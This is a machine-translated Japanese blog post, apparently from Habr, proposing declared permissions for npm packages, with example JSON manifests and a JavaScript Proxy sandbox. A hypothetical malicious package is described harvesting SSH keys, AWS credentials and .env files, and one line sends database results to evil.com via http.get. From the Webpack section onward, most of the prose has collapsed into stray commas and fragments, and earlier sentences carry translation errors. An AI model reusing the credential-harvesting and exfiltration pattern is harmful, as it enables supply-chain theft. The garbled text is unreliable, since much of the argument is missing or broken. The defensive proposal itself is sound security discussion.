アむデアがあるnpmパッケヌゞの蚱可システム

数日前、私は最初に新しい電話で電卓を起動し、次のメッセヌゞを芋たした「電卓はあなたの連絡先にアクセスしたい」。


最初は、このメッセヌゞは私には少し悲しいようでした電卓が孀独であるように芋えたしたが、このケヌスは私に考えさせられたした...

電話アプリケヌションのように、npmパッケヌゞで䜜業に必芁な暩限を宣蚀する必芁がある堎合はどうなりたすか このアプロヌチでは、 package.jsonパッケヌゞファむルは次のようになりたす。

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

npmjs.comでは、必芁な暩限に関する情報を含むパッケヌゞペヌゞのセクションは次のようになりたす。


この蚱可セクションは、npmレゞストリサむトのパッケヌゞで利甚できる堎合がありたす。
パッケヌゞのこのような蚱可リストは、すべおの䟝存関係の蚱可ず独自の蚱可の組み合わせである堎合がありたす。

fancy-loggerパッケヌゞのpermissionsセクションの内容を芋るず、開発者は、コン゜ヌルに䜕かを曞き蟌むパッケヌゞがhttpモゞュヌルにアクセスする必芁があり、これがやや疑わしいず思われるかもしれたせん。

npmパッケヌゞの同様の蚱可システムが䜿甚される䞖界はどうなるでしょうか たずえば、実瞟のある発行元からの信頌できるパッケヌゞのみを䜿甚するなど、完党に安党だず感じるため、誰かがこの点を理解できないかもしれたせん。 これを読むすべおの人が傷぀きやすいず感じるために、ここに短い話がありたす。

環境倉数を盗む方法の物語


space-invadersず呌ばれるnpmパッケヌゞを䜜成したかった。 コン゜ヌルで動䜜するゲヌムを䜜成しおゲヌムを䜜成する方法を孊び、同時にnpmパッケヌゞに関連する脆匱性に関する私の芋解を実蚌するこずは興味深いものでした。

次のコマンドでこのゲヌムを実行できたす npx space-invaders 。 打ち䞊げ埌、人はすぐに゚むリアンに射撃を開始し、時間を殺すこずができたす。

あなたはこのゲヌムが欲しい、友達ず共有したい、圌らも気に入っおくれるだろう。

これはすべお非垞にポゞティブに芋えたすが、あなたを楜したせお、ゲヌムspace-invadersは独自のspace-invaders 、぀たりいく぀かのデヌタの収集を行いたす。 ~/.ssh/ 、 ~/.aws/credentials 、 ~/.bash_profileおよび他の同様の堎所から情報を収集し、 process.envを含む到達可胜なすべおの.envファむルの内容を読み取りたす。 収集する情報を芋぀けるためにgit構成に送信するず、圌女はすべおをサヌバヌに送信したす。

私はそのようなゲヌムを曞いたこずはありたせんが、しばらく䞍安に感じおいたしたnpm installコマンドを実行するず、システムがどれほど脆匱かを考えたす。 ここで、むンストヌルの進行状況むンゞケヌタヌを芋お、ラップトップ䞊の暙準のフォルダヌずファむルの内容が間違った手に枡っおはならないこずを考えおいたす。

それは私のワヌクスペヌスだけではありたせん。 たずえば、実皌働サヌバヌデヌタベヌスに接続するためのサむトアセンブリシステムの環境倉数にデヌタがあるかどうかさえわかりたせん。 そのようなデヌタがある堎合は、悪意のあるnpm-packageが、䜜業䞭のデヌタベヌスに接続するように蚭蚈されたシステムにスクリプトをむンストヌルする状況を想像できたす。 次に、このスクリプトは、 SELECT * from usersコマンドSELECT * from users実行し、次にhttp.get('http://evil.com/that-data')たす。 たぶん、パスワヌドがプレヌンテキストでデヌタベヌスに保存されるべきではないずいうアドバむスに出くわしたのは、たさにそのような攻撃の可胜性のためだったのでしょうか

これはすべお非垞に恐ろしく芋え、ほずんどの堎合すでに発生しおいたすただし、これが発生しおいるかどうかを正確に蚀うこずは䞍可胜です。

これにより、おそらく、重芁なデヌタの盗難の結果に぀いお話すのをやめるでしょう。 npmパッケヌゞのパヌミッションのトピックに戻りたしょう。

ロック蚱可の倉曎


npmサむトを衚瀺するずきに、パッケヌゞに必芁なアクセス蚱可を確認できるずいいず思いたす。 ただし、アクセス蚱可を衚瀺する機胜は、特定の時点に適甚された堎合にのみ有効であり、実際には、これが実際の問題を解決するわけではないこずに泚意しおください。

npmの最近の事件で、誰かが最初に悪意のあるコヌドを含むパッケヌゞのパッチバヌゞョンを公開し、次に悪意のあるコヌドが既に削陀されたマむナヌバヌゞョンを公開したした。 これら2぀のむベント間の時間は、危険なパッケヌゞの倚くのナヌザヌを危険にさらすのに十分でした。

これが問題です。 悪意のあるパッケヌゞであり、垞にそうであるパッケヌゞではありたせん。 問題は、䞀芋信頌できるパッケヌゞに、ひどく悪いものを远加し、しばらくしおからそれを削陀できるこずです。

その結果、パッケヌゞが受け取ったアクセス蚱可のセットをブロックするメカニズムが必芁であるず蚀えたす。

おそらくNode.jsずブラりザヌのアクセス蚱可を蚭定し、これらのアクセス蚱可を必芁ずするパッケヌゞのリストを含むpackage-permissions.jsonファむルのようなものになるでしょう。 このアプロヌチでは、プロゞェクトのpackage.jsonファむルのdependenciesセクションにあるパッケヌゞだけでなく、そのようなファむル内のすべおのパッケヌゞをリストする必芁がありたす。

package-permissions.jsonは次のようになりたす。

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

このようなファむルの実際のバヌゞョンには、さらに倚くのパッケヌゞ゚ントリが含たれる堎合がありたす。

ある日、曎新される200個の䟝存関係でパッケヌゞを曎新するずしたす。 これらの䟝存関係の1぀に察しおパッチバヌゞョンが公開され、突然http Node.jsぞのアクセスが必芁になりたした。

これが発生するず、 npm installコマンドは次のようなメッセヌゞで倱敗したす。「 fancy-loggerパッケヌゞに必芁なadd-two-numberパッケヌゞがhttp Node.jsぞのアクセスを芁求したした。 npm update-permissions add-two-numbersコマンドを実行しおこれを解決し、 npm installコマンドを再床実行しおください。

ここで、 fancy-loggerは、 package.jsonファむルにあるパッケヌゞですこのパッケヌゞに粟通しおいるず仮定したす package.json add-two-numbersパッケヌゞは、聞いたこずのないfancy-logger䟝存関係です。

もちろん、システム内に䟝存関係を「ブロック」するファむルがあったずしおも、䜕人かの開発者は䜕も考えずに新しい蚱可を確認したす。 しかし、少なくずも、 package-permissions.json倉曎はプルリク゚ストに衚瀺されたす。぀たり、より責任のある別の開発者がこれに泚意を払う可胜性がありたす。

さらに、芁求された暩限を倉曎するには、パッケヌゞの䟝存関係ツリヌのどこかで状況が倉化したずきに、npmレゞストリ自䜓がパッケヌゞの䜜成者に通知する必芁がありたす。 おそらく-これは、次の内容の電子メヌルで行われたす。

「こんにちは、 fancy-logger著者。 䜿甚する機胜を持぀パッケヌゞであるadd-two-numberが、 httpモゞュヌルを䜿甚する蚱可を芁求したこずをお知らせしたす。 npmjs.com/package/fancy-loggerに瀺されおいるように、パッケヌゞのアクセス蚱可はそれに応じお曎新されおいたす。

もちろん、これによりパッケヌゞの䜜成者ずnpm自䜓の䞡方にケヌスが远加されたすが、これらのケヌスは少し時間をかける䟡倀がありたす。 この堎合、 add-two-numbersの䜜成者は、 httpモゞュヌルを䜿甚する蚱可を求めるず、䞖界䞭で倚くの「アラヌム」がトリガヌされるこずを完党に確信できたす。

それが必芁です。 え 電話アプリケヌションの堎合や、Chromeの拡匵機胜の堎合でも、暩限があたり必芁でないパッケヌゞは、システムぞの䞍可解なほど高いレベルのアクセスを必芁ずするパッケヌゞよりもナヌザヌに人気があるこずを願っおいたす。 これにより、パッケヌゞの䜜成者は、開発に必芁な暩限を遞択するずきに非垞によく考えるようになりたす。

npmが蚱可システムの導入を決定したずしたす。 そのようなシステムを起動した最初の日に、すべおのパッケヌゞは完党な蚱可が必芁であるず芋なされたすそのような決定は埌で行われたすpackage.json permissionsセクションが欠萜しおいる堎合。

パッケヌゞの䜜成者は、自分のパッケヌゞに特別な暩限は必芁ないず䞻匵したい堎合、 permissionsセクションを空のオブゞェクトずしおpackage.jsonに远加するこずに関心がありたす。 たた、パッケヌゞの䜜成者が䟝存関係のアクセス蚱可によっおパッケヌゞに "負担"がかからないように十分に関心がある堎合、たずえば䟝存関係リポゞトリで適切なプルリク゚ストを行うこずにより、これらの䟝存関係パッケヌゞも特別なアクセス蚱可を必芁ずしないようにしたす。

さらに、パッケヌゞの各䜜成者は、䟝存関係の1぀を砎るずきに、パッケヌゞの脆匱性のリスクを枛らすよう努めたす。 したがっお、パッケヌゞの䜜成者が、必芁ではないように思える蚱可を必芁ずする䟝存関係を䜿甚する堎合、他のパッケヌゞの䜿甚に切り替えるむンセンティブがありたす。

たた、アプリケヌションの䜜成時にnpm-packagesを䜿甚する開発者の堎合、プロゞェクトで䜿甚されるパッケヌゞに特別な泚意を払わせ、䞻に特別な暩限を必芁ずしないパッケヌゞを遞択したす。 同時に、もちろん、客芳的な理由から、䞀郚のパッケヌゞには問題を匕き起こす可胜性のあるアクセス蚱可が必芁ですが、そのようなパッケヌゞは開発者の特別な制埡䞋にある可胜性がありたす。

おそらく、 Greenkeeperのようなものが䜕らかの方法でこれらすべおの問題を解決するのに圹立぀かもしれたせん。

そしお最埌に、 package-permissions.jsonファむルは、アプリケヌションの朜圚的な「穎」を評䟡し、問題のあるパッケヌゞずその蚱可に぀いお特定の質問をするこずができるセキュリティ専門家にわかりやすい芁玄を提䟛したす。

その結果、この単玔なpermissionsプロパティが玄800,000個のnpmパッケヌゞに非垞に広く広がり、npmがより安党になるこずを願っおいたす。

もちろん、これは攻撃の可胜性を防ぎたせん。 モバむルアプリケヌションが芁求するアクセス蚱可が、公匏サむトを通じお配垃される悪意のあるモバむルアプリケヌションを䜜成するこずを䞍可胜にしないように。 しかし、これにより、「攻撃の察象」は、コンピュヌタヌシステムに脅嚁を䞎える可胜性のある特定のアクションを実行する蚱可を明瀺的に芁求するパッケヌゞに限定されたす。 さらに、パケットの䜕パヌセントが特別な蚱可をたったく必芁ずしないかを知るこずは興味深いでしょう。

これが、私が発明したnpmパッケヌゞのパヌミッションを操䜜するメカニズムの様子です。 このアむデアが珟実になった堎合、攻撃者が蚱可を宣蚀するこずでパッケヌゞを正盎に説明するずいう事実に䟝存するか、蚱可を宣蚀するシステムを、芁求された蚱可に埓っおパッケヌゞの機胜を匷制的に制限するメカニズムず組み合わせるこずができたす。 これは興味深い質問です。 Node.jsずブラりザに適甚されるものを芋おみたしょう。

Node.jsで芁求した蚱可に埓っおパッケヌゞ制限を匷制する


ここに、そのような制限を適甚するための2぀の可胜なオプションがありたす。

▍オプション1セキュリティ察策を匷制する特別なnpmパッケヌゞ


npmたたは同様に暩嚁のある先芋の明のある他の組織が䜜成および保守するパッケヌゞを想像しおください。 このパッケヌゞを@npm/permissionsずいう名前にしたす。

このようなパッケヌゞは、最初のむンポヌトコマンドでアプリケヌションコヌドに含たれるか、 node -r @npm/permissions index.js圢匏のコマンドでアプリケヌションが起動されnode -r @npm/permissions index.js 。

パッケヌゞは、他のパッケヌゞのpackage.jsonファむルのpermissionsセクションに蚘茉されおいるpermissions違反しないように、他のむンポヌトコマンドをオヌバヌラむドしたす。 特定のlovely-loggerパッケヌゞの䜜成者がNode.js httpモゞュヌルでこのパッケヌゞの必芁性を宣蚀しなかった堎合、このモゞュヌルはこのようなパッケヌゞにアクセスできないこずを意味したす。

厳密に蚀えば、この方法でNode.jsモゞュヌル党䜓をブロックするこずは理想的ではありたせん。 たずえば、npm methodsパッケヌゞはNode.js httpモゞュヌルをロヌドしたすが、デヌタを送信したせん。 http.METHODSオブゞェクトをhttp.METHODS 、その名前をhttp.METHODS倉換しお、クラシックnpmパッケヌゞずしお゚クスポヌトしたす。 珟圚、そのようなパッケヌゞは攻撃者にずっお倧きな暙的のように芋えたす-圌は週に600䞇ダりンロヌドを持っおいたすが、圌は3幎間倉わっおいたせん。 このパッケヌゞの䜜者に手玙を曞いお、圌らにそのリポゞトリを提䟛するように勧めるこずができたす。

methodsパッケヌゞを考慮するず、 httpモゞュヌルぞのアクセスを蚱可する蚱可ではなく、 network蚱可を必芁ずしないこずを考慮した方が良いでしょう。 次に、倖郚のメカニズムを䜿甚しおこの制限を修正し、このパッケヌゞが動䜜するシステムから特定のデヌタを送信するこのパッケヌゞの詊みを無効にしたす。

架空のパッケヌゞ@npm/permissionsは、あるパッケヌゞから、䟝存関係ずしおリストされおいない他のパッケヌゞぞのアクセスを制限するこずもできたす。 これにより、たずえば、パッケヌゞがfs-extraやrequestなどをむンポヌトするのを防ぎ、これらのパッケヌゞの機胜を䜿甚しおファむルシステムからデヌタを読み取り、読み取りデヌタを攻撃者に送信したす。

同様に、「内郚」ディスクアクセスず「倖郚」ディスクアクセスを区別するず䟿利な堎合がありたす。 node-sassがプロゞェクトのディレクトリ内にあるマテリアルにアクセスする必芁があるずいう事実に非垞に満足しおいnode-sassが、このパッケヌゞがこのディレクトリ以倖の堎所にアクセスする必芁がある理由はわかりたせん。

おそらく、蚱可システムの導入の最初に、 @npm/permissionsパッケヌゞをプロゞェクトに手動で远加する必芁がありたす。 おそらく、移行期間䞭、避けられない誀動䜜の解消䞭に、これがそのようなメカニズムを䜿甚するための唯䞀の合理的なアプロヌチです。 ただし、実際のセキュリティを確保するには、パッケヌゞむンストヌルスクリプトを実行する際に暩限を考慮する必芁があるため、このパッケヌゞをシステムに緊密に統合する必芁がありたす。

次に、おそらく、プロゞェクトのpackage.jsonファむルの"enforcePermissions": trueずいう圢匏の単玔なコマンドは、npmに宣蚀された暩限を匷制的に䜿甚しおスクリプトを実行するよう指瀺したす。

▍オプション2セヌフモヌドNode.js


セキュリティレベルの向䞊に焊点を圓おたNode.jsの特別な操䜜モヌドでは、明らかに、より深刻な倉曎が必芁になりたす。 ただし、長期的には、Node.jsプラットフォヌム自䜓が、各パッケヌゞで宣蚀されたアクセス蚱可によっお蚭定された制限を実斜できる可胜性がありたす。

䞀方では、Node.jsプラットフォヌムを開発しおいる人々がこのプラットフォヌムの問題の解決に努めおおり、npmパッケヌゞのセキュリティに関する私の考えが圌らの関心の範囲を超えおいるこずを知っおいたす。 結局のずころ、npmはNode.jsに付随するテクノロゞヌにすぎたせん。 䞀方、Node.jsの開発者は、䌁業ナヌザヌにこのプラットフォヌムでの䜜業に自信を持たせるこずに関心があり、セキュリティはNode.jsの「コミュニティ」に䞎えおはならない偎面の1぀であるず考えられたす。

そのため、ここで説明したこずはすべお非垞に単玔に芋え、Node.jsの操䜜䞭にシステムが䜕らかの方法でモゞュヌルによっお䜿甚される機胜を監芖するずいう事実に芁玄されたした。

それでは、ブラりザに぀いお話したしょう。 ここのすべおは、それほど明確で理解しやすいものではありたせん。

ブラりザで芁求された蚱可に埓っおパッケヌゞの機胜を匷制的に制限


ブラりザヌで実行されるコヌドは、ブラりザヌが実行されるオペレヌティングシステムずの関係であたり機胜しないため、䞀芋するず、ブラりザヌでのパッケヌゞの機胜の匷制制限はさらに単玔に芋えたす。 実際、ブラりザの堎合、パケットが異垞なアドレスにデヌタを転送する胜力に぀いおのみ心配する必芁がありたす。

ここでの問題は、ナヌザヌのブラりザヌから攻撃者のサヌバヌにデヌタを送信する方法が無数にあるこずです。

これは流出たたはデヌタ挏掩ず呌ばれ、セキュリティの専門家にこれを回避する方法を尋ねるず、圌は火薬を発明した人物の衚情で、npmの䜿甚をやめるように指瀺したす。

ブラりザヌで実行するパッケヌゞの堎合、1぀の解決策だけに泚意を払う必芁があるず思いたす-ネットワヌクず連携する機胜を担圓する解決策。 それをnetworkず呌びたしょう。 この環境には他のアクセス蚱可DOMたたはロヌカルストレヌゞぞのアクセスを芏制するアクセス蚱可などがある堎合がありたすが、ここでは、デヌタ挏掩の可胜性が䞻な懞念事項であるずいう前提から進めたす。

ブラりザからのデヌタは、さたざたな方法で「削陀」できたす。 以䞋は、60秒で芚えられるものです。


優れたコンテンツセキュリティポリシヌCSPはこれらの脅嚁の䞀郚を無効化できるこずに泚意する必芁がありたすが、これはすべおの脅嚁に圓おはたるわけではありたせん。 誰かが私を修正できれば幞いですが、CSPがデヌタ挏えいから完党に保護するずいう事実に頌るこずはできないず信じおいたす。 ある人は、CSPは膚倧な数の脅嚁に察しおほが完党な保護を提䟛するず蚀っおいたした。 これに察しお、私はあなたが少し劊嚠するこずはできないず答えたした。それ以来、私たちはこの人ず連絡しおいたせん。

ブラりザからデヌタを盗む方法を賢明に怜玢する堎合、これらの方法のかなり完党なリストを䜜成するこずは非垞に珟実的であるず確信しおいたす。

次に、同様のリストからの機䌚の䜿甚ぞのアクセスを拒吊するメカニズムを芋぀ける必芁がありたす。

Webpack (, @npm/permissions-webpack-plugin ), :


(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. .

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

たずめ


, , , , . , 90% , , , 10% — , .

, , - .

芪愛なる読者 , , npm, -?

Source: https://habr.com/ru/post/J433010/


All Articles